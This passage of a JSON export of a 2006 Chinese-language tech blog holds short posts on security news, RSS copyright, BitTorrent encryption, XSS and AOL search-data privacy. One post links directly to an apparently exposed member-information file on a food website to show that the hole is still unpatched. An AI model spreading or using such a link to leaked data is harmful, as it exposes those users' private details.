    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到一份關於使用 Blog 的情況：<a href=\"http://slashdot.org/article.pl?sid=06/07/23/1544220\" rel=\"tag\">Only 5% Of Bloggers Are Journalists</a>。\r\n\r\n原報導在 <a href=\"http://www.indianexpress.com/sunday/story/9074.html\" rel=\"tag\">Blogger ain’t journalists</a> 這，其中 37% 的人認為他們的 Blog 是當日記用，至於其他的選項，幾乎都不具參考價值，因為：\r\n<blockquote>Pew researchers called 233 bloggers between July 2005 and February this year and undertook additional, larger-scale telephone surveys through April. These follow-up surveys yielded a sample of 7,012 adults, which included 4,753 Internet users, 8 percent of whom are bloggers. <strong>The margin of error was 6.7 percent</strong>.</blockquote>\r\n\r\nPS：所謂的標題殺人法...",
    "title": "使用 Blog 的行為調查"
  },
  {
    "id": "670",
    "body": "在 <a href=\"http://blog.washingtonpost.com/securityfix/\" rel=\"tag\">Brian Krebs on Computer Security</a> 報導了使用未修正的 IE (<a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> 在 2006/01 有釋出 patch) 看 MySpace 會遭到 Spyware/Keylogger 感染：<a href=\"http://blog.washingtonpost.com/securityfix/2006/07/myspace_ad_served_adware_to_mo.html\">Hacked Ad Seen on MySpace Served Spyware to a Million</a>。\r\n\r\n這是因為在 MySpace 放廣告的廣告商所造成的：\r\n<blockquote>An online banner advertisement that ran on MySpace.com and other sites over the past week used a Windows security flaw to infect more than a million users with spyware when people merely browsed the sites with unpatched versions of Windows, according to data collected by iDefense, a Verisign company.</blockquote>\r\n太讚了...",
    "title": "利用 Ad Network 感染電腦"
  },
  {
    "id": "671",
    "body": "這陣子看 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 發現在這一個月內 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 的量成長的太快，每天居然有上百條新聞... 本來以為是 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 出鎚，後來仔細看才發現 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 沒搞錯...\r\n\r\n這樣的量實在太大了，退訂...",
    "title": "退訂 Digg"
  },
  {
    "id": "672",
    "body": "<a href=\"http://www.flickr.com/photos/gslin/199243665/\"><img src=\"http://static.flickr.com/68/199243665_1428962276.jpg\" alt=\"Unable to unsubscribe\" /></a>",
    "title": "Unable to unsubscribe"
  },
  {
    "id": "673",
    "body": "IE7 將透過 Windows Update 供人下載，並標示為 \"High Priority\"：<a href=\"http://news.com.com/2100-7350_3-6098500.html\">Microsoft tags IE 7 'high priority' update</a>。",
    "title": "Monopoly"
  },
  {
    "id": "674",
    "body": "用 Google Alerts 訂到的東西：<a href=\"http://w2.goolu.com/member/_admin/user_info1.txt\">http://w2.goolu.com/member/_admin/user_info1.txt</a>。在 <a href=\"http://jouston.no-ip.com/archives/000204.html\">咕嚕美食網極嚴重的安全漏洞</a> 這篇提到的日期是 6/2，而現在是...\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/199325306/\"><img src=\"http://static.flickr.com/46/199325306_f94ef91790.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/199325307/\"><img src=\"http://static.flickr.com/61/199325307_1a270e8f1f.jpg\" alt=\"\" /></a>",
    "title": "咕嚕美食網"
  },
  {
    "id": "675",
    "body": "<a href=\"http://www.flickr.com/photos/gslin/199897289/\"><img src=\"http://static.flickr.com/69/199897289_4a7399cb72.jpg\" alt=\"\" /></a>",
    "title": "Unauthorized"
  },
  {
    "id": "676",
    "body": "用左手拿筷子其實還頗有趣的... 如果不是因為右手不能用的話 +_+",
    "title": "左手"
  },
  {
    "id": "677",
    "body": "試用 <a href=\"http://www.google.com/reader/\" rel=\"tag\">Google Reader</a>，比之前好很多，丟些進去測試看看。",
    "title": "Google Reader"
  },
  {
    "id": "678",
    "body": "居然花了三年的時間，線上人數可以到 60k，才看到 Ptt 因為管理不當而爛掉的情況。",
    "title": "三年"
  },
  {
    "id": "679",
    "body": "我前幾天在 <a href=\"http://blog.gslin.org/archives/2006/07/28/675/\">Unauthorized</a> 這篇貼了一張 Screenshot，關於 <a href=\"http://b6s.blogspot.com/\" rel=\"tag\">b6s</a> 在 <a href=\"http://taipedia.info/drupal/zh-hant/aggregator/sources/56\">http://taipedia.info/drupal/zh-hant/aggregator/sources/56</a> 的侵權行為。(已經撤下，文字部分仍可以在 <a href=\"http://www.google.com/search?q=cache:M7Zr4QB3j0kJ:taipedia.info/drupal/zh-hant/aggregator/sources/56\">Google Cache</a> 裡找到，圖片部分請參考 Screenshot)\r\n\r\n兩天後在 <a href=\"http://b6s.blogspot.com/\" rel=\"tag\">b6s</a> 上的 blog 他發表了這篇文章：<a href=\"http://b6s.blogspot.com/2006/07/rss.html\">RSS 重製與轉散佈問題</a>，<strong>在這篇文章裡面幾乎所有的觀點都是對的，只是他講的跟他做的事情沒有關係。</strong>\r\n\r\n以引用的量來區分，有三種：引用標題 (並提供連結)、引用部分內文 (可能會帶有評論文字)、引用全文。為了解釋清楚，我將 <a href=\"http://b6s.blogspot.com/\" rel=\"tag\">b6s</a> 與搜尋引擎以及線上 RSS 閱讀器的行為列出來。\r\n\r\nb6s 的行為包括了：\r\n<ul>\r\n\t<li>未經授權將 Blog 上的文章放到線上的 RSS 閱讀器，公開讓人閱讀，手動產生。(<a href=\"http://taipedia.info/drupal/zh-hant/aggregator/sources/56\">taipedia.info/drupal/zh-hant/aggregator/sources/56</a>)</li>\r\n\t<li>允許搜尋引擎索引該內容。(taipedia.info/robots.txt 不存在)</li>\r\n</ul>\r\n<a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a>：\r\n<ul>\r\n\t<li>未經授權將 Blog 上的文章放到線上的 RSS 閱讀器，公開讓人閱讀，當有人訂閱時自動產生。(<a href=\"http://www.bloglines.com/preview?siteid=2592553\">www.bloglines.com/preview?siteid=2592553</a>)</li>\r\n\t<li>不允許搜尋引擎索引該內容。(<a href=\"http://www.bloglines.com/robots.txt\">www.bloglines.com/robots.txt</a> 內的 Disallow: /preview/)</li>\r\n</ul>\r\n<a href=\"http://www.google.com/reader/\" rel=\"tag\">Google Reader</a>：\r\n<ul>\r\n\t<li>目前沒有看到明顯的 preview 或其他東西，不過在 /reader/ 下的東西：</li>\r\n\t<li>不允許搜尋引擎索引該內容。(<a href=\"http://www.google.com/robots.txt\">www.google.com/robots.txt</a> 內的 Disallow: /reader/)</li>\r\n</ul>\r\n再回頭回憶一下上面所說的，引用的量分三種：引用標題 (並提供連結)、引用部分內文 (可能會帶有評論文字)、引用全文。上面所列的三個單位也都牽涉到全文引用。\r\n\r\n這三種引用模式，<a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 與 <a href=\"http://www.yahoo.com/\" rel=\"tag\">Yahoo</a> 都幹過：第一項與第二項會在 Search 時出現，第三項則是在 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> Cache 以及 <a href=\"http://www.yahoo.com/\" rel=\"tag\">Yahoo</a> 的頁庫存檔出現。前面兩項在討論網路著作權的問題時就有提到了，美國的法院判定 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 第三項行為都是合理使用。中文資料可以參考 <a href=\"http://www.copyrightnote.org/crnote/bbs.php?board=2&act=read&id=118\">美國法院判定Google Cache的儲存著作是合理使用</a> 這篇。\r\n\r\n回過頭來講這次的侵權行為，我知道我的網站提供 RSS，而且我有足夠的知識知道，透過 RSS，可以很方便的重製內容：所以我默許了我的文章在 RSS 瀏覽器裡被重製，這包括了 Offline 的 Firefox、FeedDemon、... 以及 Online 的 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a>、<a href=\"http://www.google.com/reader/\" rel=\"tag\">Google Reader</a>、... <strong>但我會假定，不屬於自己的內容，不應該有權利再散佈出去，而我在找資料的時候發現 <a href=\"http://b6s.blogspot.com/\" rel=\"tag\">b6s</a> 在 <a href=\"http://taipeida.info/\" rel=\"tag\">taipedia.info</a> 上重製。</strong>\r\n\r\n這就是我貼那篇 <a href=\"http://blog.gslin.org/archives/2006/07/28/675/\" rel=\"tag\">Unauthorized</a> 的原因，而我相信，這種行為不管在哪個國家都不會被認定是 \"Fair Use\"。不過 <a href=\"http://b6s.blogspot.com/\" rel=\"tag\">b6s</a> 似乎還是跟小孩子一樣，在 <a href=\"http://taipedia.info/drupal/\">taipedia.info/drupal/</a> 放上我站上的 Screenshot 並且寫了一篇 <a href=\"http://b6s.blogspot.com/2006/07/rss.html\" rel=\"tag\">RSS 重製與轉散佈問題</a> 的文章來辯解。",
    "title": "RSS 的使用"
  },
  {
    "id": "680",
    "body": "MSN Spaces 換 Permlink，於是 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 上多出一堆文章... (gosh)",
    "title": "MSN Spaces"
  },
  {
    "id": "681",
    "body": "剛剛在看 <a href=\"http://www.bittorrent.com/\" rel=\"tag\">Bittorrent</a> 的 Protocol Encryption 資料時發現 Mainline (也就是原廠的 Bittorrent Client) 已經在 4.9.2-beta 支援 MSE/PE 了：<a href=\"http://en.wikipedia.org/wiki/BitTorrent_protocol_encryption\" rel=\"tag\">BitTorrent protocol encryption</a>。\r\n\r\n另外，在同一篇文章裡有提到，有些加拿大的 ISP 已經有辦法攔住，在 forum 裡有猜測是透過與 tracker 間的通訊或是透過 DHT 而得知，也有人猜測是挑出大量的 connection 而得知...\r\n\r\n有些簡單的方法，像是透過把連線到 tracker 的部分用 <a href=\"http://tor.eff.org/\" rel=\"tag\">Tor</a> 保護起來 (<a href=\"http://www.utorrent.com/\" rel=\"tag\">µTorrent</a> 有提供)，再把 Encryption 開成「強制」，並且不允許沒有 Encryption 的連線連入。\r\n\r\n不過仔細想想還是有不少漏洞可以偵測就是了... 也許 Bittorrent Protocol 也要配合才能阻止 :o",
    "title": "Bittorrent 的 Protocol Encryption"
  },
  {
    "id": "682",
    "body": "剛剛查資料發現，原來每家收費方式還不太一樣 :p\r\n<ul>\r\n\t<li>中華 (行動)：免費，參考 <a href=\"http://www.cht.com.tw/PersonalCat.php?CatID=695&Module=Fee,Describe\">這裡</a>。</li>\r\n\t<li>台灣大哥大：$1/min，參考 <a href=\"http://service.taiwanmobile.com/servlet/Satellite?cid=1127891222895&pagename=Consumer%2FPage%2FconMainPageT\">這裡</a>。</li>\r\n\t<li>遠傳：$0.0167/sec。參考 <a href=\"http://www.fetnet.net/servlet/ContentServer?cid=1118627833710&pagename=%40Etone%2FPage%2FetCacheMainPageT&rendermode=preview&c=Page\">這裡</a>。</li>\r\n\t<li>大眾：$1/min，參考 <a href=\"http://www.phs.com.tw/fee/fee_main.asp\">這裡</a>。</li>\r\n</ul>",
    "title": "165 反詐騙諮詢專線"
  },
  {
    "id": "683",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到 <a href=\"http://www.mozilla.org/\" rel=\"tag\">Mozilla</a> 將與 <a href=\"http://www.real.com/\" rel=\"tag\">RealNetworks</a> 合作 (目前的合約是兩年) 以拓展 <a href=\"http://www.mozilla.com/\" rel=\"tag\">Firefox</a> 的佔有率：<a href=\"http://it.slashdot.org/article.pl?sid=06/08/02/2154250\">Mozilla Partners with Real Networks</a>。\r\n\r\n<a href=\"http://www.real.com/\" rel=\"tag\">RealNetworks</a>... humm...",
    "title": "Mozilla 將與 RealNetworks 合作"
  },
  {
    "id": "684",
    "body": "今天去 <a href=\"http://www.hc.mmh.org.tw/\" rel=\"tag\">新竹馬偕</a> 做復健拉筋，有夠痛 :/ 星期五再去一次...\r\n\r\n<strong>Update</strong>：這次居然直接用繃帶坳下去... 不知道下次會有什麼玩意 @_@",
    "title": "拉筋"
  },
  {
    "id": "685",
    "body": "<a href=\"http://www.microsoft.com/typography/ClearTypeInfo.mspx\" rel=\"tag\">ClearType</a> 很好用，但在 Windows XP 上預設是關閉的，所以網頁設計師在設計網頁時必須考慮到這個情況，選擇打開 <a href=\"http://www.microsoft.com/typography/ClearTypeInfo.mspx\" rel=\"tag\">ClearType</a> 與關掉 <a href=\"http://www.microsoft.com/typography/ClearTypeInfo.mspx\" rel=\"tag\">ClearType</a> 都還順眼的字型。\r\n\r\n剛剛在 <a href=\"http://mezzoblue.com/\" rel=\"tag\">Dave Shea</a> 那邊看到 IE7 將 <a href=\"http://www.microsoft.com/typography/ClearTypeInfo.mspx\" rel=\"tag\">Cleartype</a> 變成 Browser Feature，並且將預設值打開啟用：<a href=\"http://mezzoblue.com/archives/2006/08/07/clearertype/\">ClearerType</a>。\r\n\r\n不知道以後的 Webpage 會是什麼樣子 :p",
    "title": "ClearType"
  },
  {
    "id": "686",
    "body": "在 <a href=\"http://www.in2home.org/\" rel=\"tag\">in2</a> 板上看到的：<a href=\"http://www.bamboo.hc.edu.tw/course/2006b/fcu/syllabus/computer/95b-9371.html\">2006年自由軟體與開放源碼國際研討會</a>。整個議程看起來好詭異...\r\n\r\n<strong>Update</strong>：看起來 <a href=\"http://2006.icos.org.tw/\">http://2006.icos.org.tw/</a> 也是某個官方網頁 (只是一個 iframe 連到新竹這邊)。",
    "title": "ICOS 2006"
  },
  {
    "id": "687",
    "body": "<a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> <a href=\"http://www.freebsd.org/ports/\" rel=\"tag\">Ports</a> 的 <a href=\"http://www.freebsd.org/cgi/cvsweb.cgi/ports/Mk/bsd.port.mk\">bsd.port.mk</a> 改動：\r\n<blockquote>Add support for DESTDIR part I.\r\n\r\nThis commit should largele be a NOOP as it only adds support for DESTDIR undefined. This does allow us to start testing ports with DESTDIR set, but this is as of yet not supported.\r\n\r\nAlthough this has been extensively tested on pointyhat, this is a very intrusive change and some cases may have been overlooked. Please contact Gabor and me if you find any.\r\n\r\nPR:             100555\r\nSubmitted by:   gabor\r\nSponsored by:   Google Summer of Code 2006</blockquote>\r\n這使得本來在 Makefile 裡用 <code>${PREFIX}</code> 的都要改用 <code>${TARGETDIR}</code>，而且蠻多地方需要人工檢查... 在現在的一萬五千個 ports 裡不知道有多少 <code>${PREFIX}</code>...\r\n\r\n<strong>Update</strong>：用 INDEX + grep 掃過之後發現，光是 ports@freebsd.org 的就有 2k+ 個要檢查...",
    "title": "DESTDIR (TARGETDIR)"
  },
  {
    "id": "688",
    "body": "不知道這邊講的 Gaming Cafe 跟我想的是不是同個東西，因為下面的 comments 都沒提到 Korea 或是 Taiwan 之類的經驗：<a href=\"http://ask.slashdot.org/article.pl?sid=06/08/12/0056211\">Can a Gaming Cafe be Successful?</a>。",
    "title": "Gaming Cafe"
  },
  {
    "id": "689",
    "body": "<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到的：<a href=\"http://developers.slashdot.org/article.pl?sid=06/08/10/0213259\">Major Security Hole Found In Rails</a>，有在用 RoR 的人記得更新。\r\n\r\n原公告在 <a href=\"http://weblog.rubyonrails.org/2006/8/9/rails-1-1-5-mandatory-security-patch-and-other-tidbits\">Rails 1.1.5: Mandatory security patch (and more)</a> 這裡，要求使用者升級的語氣相當強烈。",
    "title": "RoR 1.1.0 ~ 1.1.4 安全問題"
  },
  {
    "id": "690",
    "body": "在之前寫過 <a href=\"http://bitconjurer.org/\" rel=\"tag\">Bram Cohen</a> (<a href=\"http://www.bittorrent.com/\" rel=\"tag\">Bittorrent</a> 原作者) 認為 Header Encryption 不是解決頻寬不足的好方法 (<a href=\"http://blog.gslin.org/archives/2006/01/31/334/\">Bittorrent Encryption</a> 這篇)，於是跟 CacheLogic 合作，訂出了 CDP 這個 Cache 的機制：<a href=\"http://slashdot.org/article.pl?sid=06/08/07/214259\">Bittorrent Implements Cache Discovery Protocol</a>，至於 CDP Server 是否能夠像 Proxy Server 一樣被認定為合理使用，就要花時間等第一個法院判決的結果了...",
    "title": "Bittorrent 的 Cache Discovery Protocol"
  },
  {
    "id": "691",
    "body": "You need to change codes in <code>brianslatestcomments.php</code>, just modify <code>$tablecomments</code> to <code>$wpdb->comments</code>, and modify <code>$tableposts</code> to <code>$wpdb->posts</code>.\r\n\r\nNow it's back.",
    "title": "Brain's Latest Comments on WordPress 2.1-alpha2"
  },
  {
    "id": "692",
    "body": "問個資料庫的問題。現在是否有符合下面這些條件的資料庫：\r\n<ul>\r\n\t<li>只要有 (key,value) 即可，不需要到 SQL 那種複雜的架構</li>\r\n\t<li>可以用多台機器 Cluster，並且有 Replication，不受到單一機器的 Bottleneck</li>\r\n\t<li>不存在 Single Point of Failure</li>\r\n\t<li>可線上擴充機器</li>\r\n</ul>\r\n<a href=\"http://www.sleepycat.com/products/bdb.html\" rel=\"tag\">BerekeleyDB</a> 的 Replication (即 Single Master, Read-only Slave) 最後會卡在 Writing，而且空間的消耗讓人不是很滿意。<a href=\"http://labs.google.com/papers/gfs.html\" rel=\"tag\">Google Filesystem</a> 的架構仍然有 Single Point of Failure (我想他們應該是用 Layer 4 Switch 或是其他配合硬體的方式解決)，所以我想問的是，有沒有數學方法就可以滿足上面要求的資料庫？\r\n\r\n<strong>Update</strong>：我希望每個 node 都是 1TB，初期大約三十台到六十台機器，以後可以擴充到上千台，每個 key 都會有四份資料放在 DB 裡面。",
    "title": "Database"
  },
  {
    "id": "693",
    "body": "剛剛翻到的兩個 <a href=\"http://en.wikipedia.org/wiki/DNSBL\" rel=\"tag\">DNSBL</a> 可以擋 <a href=\"http://tor.eff.org/\" rel=\"tag\">Tor</a>，對於 BBS 與 Mail System 算是不錯的東西：\r\n<ul>\r\n\t<li><a href=\"http://www.sectoor.de/tor.php\">TOR DNSBL - blacklist for Tor servers / Schwarze Liste für Tor Server</a></li>\r\n\t<li><a href=\"http://www.ahbl.org/docs/torbl.php\">Use of the TOR DNSbl ip4r Service</a></li>\r\n</ul>",
    "title": "Tor 的 DNSBL"
  },
  {
    "id": "694",
    "body": "剛剛處理完發現 <a href=\"http://www.isc.org/sw/inn/\" rel=\"tag\">INN</a> 套件裡就程式可以做。\r\n\r\n當 innd 與 nnrpd 分開跑時，有可能會出現 innd 掛了，但是 nnrpd 還沒掛的情況，這時候 nnrpd 會把文章都積在 <code>~/spool/incoming</code> 下。\r\n\r\n恢復後用 <code>rnews -U</code> 就可以把積在裡面的文章送出去，其中在 <code>inn.conf</code> 裡有兩個要設定好：\r\n<blockquote><code>nnrpdposthost:          localhost\r\nnnrpdpostport:          433</code></blockquote>\r\n這邊指的是 nnrpd 要往哪邊丟，需要有 IHAVE 的權限。",
    "title": "當 innd 掛掉但 nnrpd 沒掛，處理完後..."
  },
  {
    "id": "695",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到 Mac、Windows、KDE 這三套軟體 GUI 的演進：<a href=\"http://slashdot.org/article.pl?sid=06/08/13/174255\">GUIs From 1984 to the Present</a>。\r\n\r\n第一個 Comment 有人給了另外一個更完整的網頁：<a href=\"http://toastytech.com/guis/guitimeline.html\">Graphical User Interface Timeline</a>，目前這個網站正受到 <a href=\"http://en.wikipedia.org/wiki/Slashdot_effect\" rel=\"tag\">Slashdot effect</a> 影響而變慢，請耐心等待 :p\r\n\r\n而後面的 Comment 馬上有人回說少了這張經典畫面 XD\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/214222339/\"><img src=\"http://static.flickr.com/94/214222339_8f7511a6ee.jpg\" alt=\"BSDO\" /></a>",
    "title": "Mac、Windows、KDE 的 GUI"
  },
  {
    "id": "696",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到，如果有人把 <a href=\"http://en.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 的 Sample 壓的比 <a href=\"http://www.cs.fit.edu/~mmahoney/compression/\" rel=\"tag\">paq8f</a> 小，那麼就有機會得到獎金：<a href=\"http://it.slashdot.org/article.pl?sid=06/08/13/200254\">Compress Wikipedia and Win AI Prize</a>。",
    "title": "Lossless data compression"
  },
  {
    "id": "697",
    "body": "<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 這篇 <a href=\"http://it.slashdot.org/article.pl?sid=06/08/13/2158243\">How to Crack a Website - XSS, Cookies, Sessions</a> 所提到的原始文章講的很清楚，把常見的 XSS 問題都提出來了：<a href=\"http://www.informit.com/articles/article.asp?p=603037&rl=1\">XSS, Cookies, and Session ID Authentication – Three Ingredients for a Successful Hack</a>。\r\n\r\n在文章裡提到的問題要解決其實還算簡單：沒有處理過的字串，要轉成 HTML 輸出要先經過 <code>htmlentities()</code> 處理。",
    "title": "XSS"
  },
  {
    "id": "698",
    "body": "現在的 <a href=\"http://performancing.com/\" rel=\"tag\">Performancing</a> 用起來比以前的好太多了 :o\r\n\r\n不過比起 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 的介面還是有點差距，像是 Categories 的部分沒有照樹狀結構排，要再花點時間習慣...",
    "title": "Performancing"
  },
  {
    "id": "699",
    "body": "在 <a href=\"http://software.gigaom.com/\" rel=\"tag\">GigaOM</a> 上看到 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 又買了奇怪的公司，跟 Biometrics 有關？這是什麼鬼 XD：<a href=\"http://software.gigaom.com/2006/08/15/google-buys-photo-recognition-company/\">Google Buys Photo Recognition Company</a>。\r\n\r\n併購的消息在官方的 Blog 上可以看到，要拿來跟 <a href=\"http://picasa.google.com/\" rel=\"tag\">Picasa</a> 惡搞一番：<a href=\"http://googleblog.blogspot.com/2006/08/better-way-to-organize-photos.html\">A better way to organize photos?</a>",
    "title": "Google 買下 Neven Vision"
  },
  {
    "id": "700",
    "body": "在 <a href=\"http://blog.outer-court.com/\" rel=\"tag\">Google Blogoscpoed</a> 上看到 <a href=\"http://www.google.com/local/add/coupons\" rel=\"tag\">Google Coupons</a> 的消息：<a href=\"http://blog.outer-court.com/archive/2006-08-15.html#n30\">Google Coupons?</a>，目前只有在北美、對岸、日本才能 <del datetime=\"2006-08-16T19:31:06+00:00\">看到，從台灣連過去只看到 404 XD</del> 使用。\r\n\r\n<del datetime=\"2006-08-16T19:32:30+00:00\">也許應該用跳板跳進去看看有什麼有趣的東西 :p Coupons 耶 XD</del>\r\n\r\n<strong>Update</strong>：link 錯了，更正上去了。",
    "title": "Google Coupons"
  },
  {
    "id": "701",
    "body": "在 <a href=\"http://www.aol.com/\" rel=\"tag\">AOL</a> 放出相當寶貴的「搜尋記錄」後兩天，就找出了某位使用者 (請參考 <a href=\"http://blog.ijliao.info/\" rel=\"tag\">ijliao</a> 精闢的 <a href=\"http://blog.ijliao.info/archives/2006/08/15/2483/\">搜尋引擎的七種使用者</a> 這篇文章)，除了對於 <a href=\"http://www.aoll.com/\" rel=\"tag\">AOL</a> 抗議之外，許多團體也都在研究要怎麼樣防止下次發生這種行為。\r\n\r\n而雖然 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 說他們絕對不會幹這種事，但 \"Never say never\"，搜尋時透露的資料愈少愈好，對自己比較有保障。\r\n\r\n在 <a href=\"http://blog.outer-court.com/\" rel=\"tag\">Google Blogoscoped</a> 的 <a href=\"http://blog.outer-court.com/archive/2006-08-14.html#n56\">Anonymous Searching</a> 看到這篇文章，提供你不被 Search Engine 記錄下來的方法：<a href=\"http://labnol.blogspot.com/2006/08/how-to-stop-google-from-recording-your.html\">How to Stop Google from recording your Search habits ?</a>。這篇文章看看就好，我覺得有些有點偏激 XD\r\n\r\n而 <a href=\"http://jeremy.zawodny.com/blog/\" rel=\"tag\">Jeremy Zawodny</a> (<a href=\"http://www.yahoo.com/\" rel=\"tag\">Yahoo!</a> US 員工，曾經來臺灣在 <a href=\"http://2005.icos.org.tw/\" rel=\"tag\">ICOS 2005</a> 上講 <a href=\"http://www.mysql.com/\" rel=\"tag\">MySQL</a>) 在他的 blog 上對於這件事情寫了一篇文章：<a href=\"http://jeremy.zawodny.com/blog/archives/007175.html\">The AOL Search Data and Liquids on Airlines</a>，他引用了 <a href=\"http://www.somebits.com/weblog/\" rel=\"tag\">Nelson Minar</a> 的 <a href=\"http://www.somebits.com/weblog/culture/aolDisaster.html\">AOL's search disaster</a> 這篇文章：\r\n<blockquote>I'm glad the leak happened; now everyone can see just how sensitive search data is. And valuable, too. (大意：現在社會大眾終於知道搜尋引擎的紀錄有多敏感了)</blockquote>\r\n這六十五萬筆資料真的相當珍貴 :p\r\n\r\n<strong>Update</strong>：<a href=\"http://www.eff.org/\" rel=\"tag\">EFF</a> 行動了，向 <a href=\"http://www.ftc.gov/\" rel=\"tag\">Federal Trade Commission</a> 檢舉 <a href=\"http://www.aol.com/\" rel=\"tag\">AOL</a>。",
    "title": "匿名搜尋"
  },
  {
    "id": "702",
    "body": "<a href=\"http://blog.outer-court.com/\" rel=\"tag\">Google Blogoscoped</a> 這篇 <a href=\"http://blog.outer-court.com/archive/2006-08-17-n36.html\">Search Engine Validation Charts</a> 提到了目前幾個搜尋引擎對於網頁標準的程度：(HTML 的部分)\r\n<ul>\r\n\t<li>MSN：Pass！</li>\r\n\t<li>Altavista：38 errors</li>\r\n\t<li>Yahoo：41 errors</li>\r\n\t<li>Google：61 errors</li>\r\n\t<li>Ask.com：64 errors</li>\r\n\t<li>Dogpile：70 errors</li>\r\n</ul>\r\nMSN Search Team，幹的好！XD",
    "title": "各家搜尋引擎對於 HTML 標準的程度"
  },
  {
    "id": "703",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到 <a href=\"http://www.ibm.com/\" rel=\"tag\">IBM</a> 提出想法，並且已經得到專利局的同意，準備以小規模測試在專利申請的過程中，透過類似 Wiki 的系統對專利投票以及審查，以解決專利浮濫的問題：<a href=\"http://yro.slashdot.org/article.pl?sid=06/08/17/0143207\">Patent Reviews Via Wiki</a>。",
    "title": "利用 Wiki 檢視專利"
  },
  {
    "id": "704",
    "body": "在 <a href=\"http://www.schneier.com/blog/\" rel=\"tag\">Bruce Schneier</a> 這邊看到 <a href=\"http://www.schneier.com/blog/archives/2006/08/1963_fbi_finger.html\">1963 FBI Fingerprint Book on Project Gutenberg</a>，提供了一個 link：1963 年 <a href=\"http://www.fbi.gov/\" rel=\"tag\">FBI</a> 出版的 <a href=\"http://www.gutenberg.org/etext/19022\">The Science of Fingerprints: Classification and Uses</a>，現在提供電子檔下載了 :p",
    "title": "FBI 的「指紋教戰手則」"
  },
  {
    "id": "705",
    "body": "新版 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> (subversion 版) 有 Auto-save Draft 的功能 (終於實做出來了)，像是這樣：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/218525504/\"><img src=\"http://static.flickr.com/64/218525504_fddbfd8bd3.jpg\" alt=\"WordPress Auto Save Draft\" /></a>",
    "title": "新版 WordPress 的 Auto-save 功能"
  },
  {
    "id": "706",
    "body": "前陣子 <a href=\"http://www.php.net/\" rel=\"tag\">PHP</a> 的 <code>sscanf()</code> 被爆破有安全漏洞，在 5.1.5 以及 4.4.4 修正了：<a href=\"http://www.php.net/release_5_1_5.php\">PHP 5.1.5 Release Announcement</a>、<a href=\"http://www.php.net/release_4_4_4.php\">PHP 4.4.4 Release Announcement</a>。",
    "title": "PHP 安全更新"
  },
  {
    "id": "707",
    "body": "在 <a href=\"http://www.aol.com/\" rel=\"tag\">AOL</a> 惡搞後 (參考 <a href=\"http://blog.ijliao.info/\" rel=\"tag\">ijliao</a> 寫的 <a href=\"http://blog.ijliao.info/archives/2006/08/15/2483/\">搜尋引擎的七種使用者</a>)，有人統計了被搜尋最多的詞：<a href=\"http://www.detnews.com/apps/pbcs.dll/article?AID=/20060818/BIZ04/608180350/1013\">Google is No. 1 search on AOL</a>，這實在是太爆笑了 XD",
    "title": "被搜尋最多次的詞"
  },
  {
    "id": "709",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到 <a href=\"http://www.writely.com/\" rel=\"tag\">Google Writely</a> 公開測試了：<a href=\"http://slashdot.org/article.pl?sid=06/08/20/0029204\">Writely.com Beta - Google's Answer to Word</a>。目前網站上面還是打上 Beta 字樣表示為 Web 2.0 服務 :p 實際上服務其實也不太穩定，偶而玩到會出現錯誤畫面： \r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/219831408/\"><img src=\"http://static.flickr.com/78/219831408_4cb3c2fe9d.jpg\" alt=\"Writely Error\" /></a>\r\n\r\n在編輯中文的處理上看起來沒什麼問題：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/219832942/\"><img src=\"http://static.flickr.com/90/219832942_faf5c15dd0.jpg\" alt=\"Google Writely Screenshot\" /></a>\r\n\r\n可存成 HTML (zipped)、RTF、Word (Microsoft Word 格式)、OpenOffice (OpenDocument 格式)、PDF：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/219833998/\"><img src=\"http://static.flickr.com/73/219833998_37ea2f0f1d.jpg\" alt=\"\" /></a>\r\n\r\n其中我特別去看 PDF 中文輸出的結果，標點符號的位置效果還是不太好：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/219835196/\" rel=\"tag\"><img src=\"http://static.flickr.com/89/219835196_1d743ef533.jpg\" alt=\"Google Writely PDF Output Screenshot\" /></a>\r\n\r\n不過，檔案直接放在 server 上以及共同寫作 (還沒沒測試過，晚點找人來測) 是蠻不錯的優點，晚點再看看有沒有特殊的功能。",
    "title": "Google Writely"
  },
  {
    "id": "710",
